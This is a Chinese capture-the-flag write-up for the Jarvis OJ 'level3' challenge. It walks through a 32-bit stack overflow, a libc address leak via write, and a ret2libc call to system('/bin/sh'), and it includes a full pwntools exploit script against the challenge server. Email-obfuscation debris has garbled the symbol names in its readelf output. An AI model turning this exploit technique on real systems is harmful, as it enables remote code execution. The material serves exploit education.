Jarvis OJ-PWN-[XMAN]level3 wp
阿新 • • 發佈:2018-12-15
地址:nc pwn2.jarvisoj.com 9879
一開始拿到題目的時候是一個rar檔案 解壓後就得到了兩個檔案 對這兩個檔案檢視保護 兩個檔案都是32位的 level3沒有開啟棧保護 可以利用棧溢位;棧中內容不可使用 不用shellcode 可以看到是全部都開啟了
用IDA32開啟level3 跟進vulnerable_function()函式 溢位點在read上 棧溢位的目的是執行system("/bin/sh") 但是我們並沒有找到相關的函式和字串 那麼就需要通過read構造棧溢位 並覆蓋返回地址
總結為以下三步:
-
通過vulnerable_function()函式中的read構造棧溢位 並覆蓋返回地址為plt中的write
-
通過write洩露出read在記憶體中的絕對地址,並且呼叫vulnerable_function()
-
計算出system和/bin/sh的絕對地址,再通過vulnerable_function()構造棧溢位進行復寫
寫指令碼前先在libc.so中搜一下幾個關鍵函式和字串
[email protected]:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "[email protected]"
571: 000daf60 125 FUNC WEAK DEFAULT 12 [email protected] @GLIBC_2.0
705: 0006f220 50 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
950: 000daf60 125 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
1166: 000e0c40 1461 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
1263: 000ec390 46 FUNC GLOBAL DEFAULT 12 [email protected] @GLIBC_2.7
1698: 000643a0 259 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
2181: 000c3030 204 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.1
2300: 000643a0 259 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
[email protected]:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "[email protected]"
620: 00040310 56 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
[email protected]:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "[email protected]"
111: 00033690 58 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
554: 000b5f24 24 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
609: 0011c2a0 56 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
645: 00033660 45 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.10
868: 00033490 84 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.1.3
1037: 00126800 60 FUNC GLOBAL DEFAULT 12 [email protected]_2.0
1492: 000f9160 62 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
2243: 00033290 77 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
2386: 000f9cd0 2 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.2
[email protected]:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh"
16084c /bin/sh
篩選之後得到
950: 000daf60 125 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
16084c /bin/sh
最後寫exp
from pwn import *
r=remote('pwn2.jarvisoj.com',9879)
e=ELF('./level3')
plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
#呼叫順序:func1_address+func2_adress+……+func1_argslist+func2_argslist+……
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args
r.recv()
r.send(payload1)
readadr=hex(u32(r.recv()))#洩露read絕對地址
# 950: 000daf60 125 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
# 1443: 00040310 56 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0
# 139: 00033260 45 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0
# 16084c /bin/sh
libc_read=0x000DAF60
offset=int(readadr,16)-libc_read #計算偏移量
sysadr=offset+0x00040310 #system絕對地址
xitadr=offset+0x00033260 #exit絕對地址
bshadr=offset+0x0016084C #binsh絕對地址
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)
r.send(payload2)
r.interactive()
本文大部分參考https://blog.csdn.net/cossack9989/article/details/79326659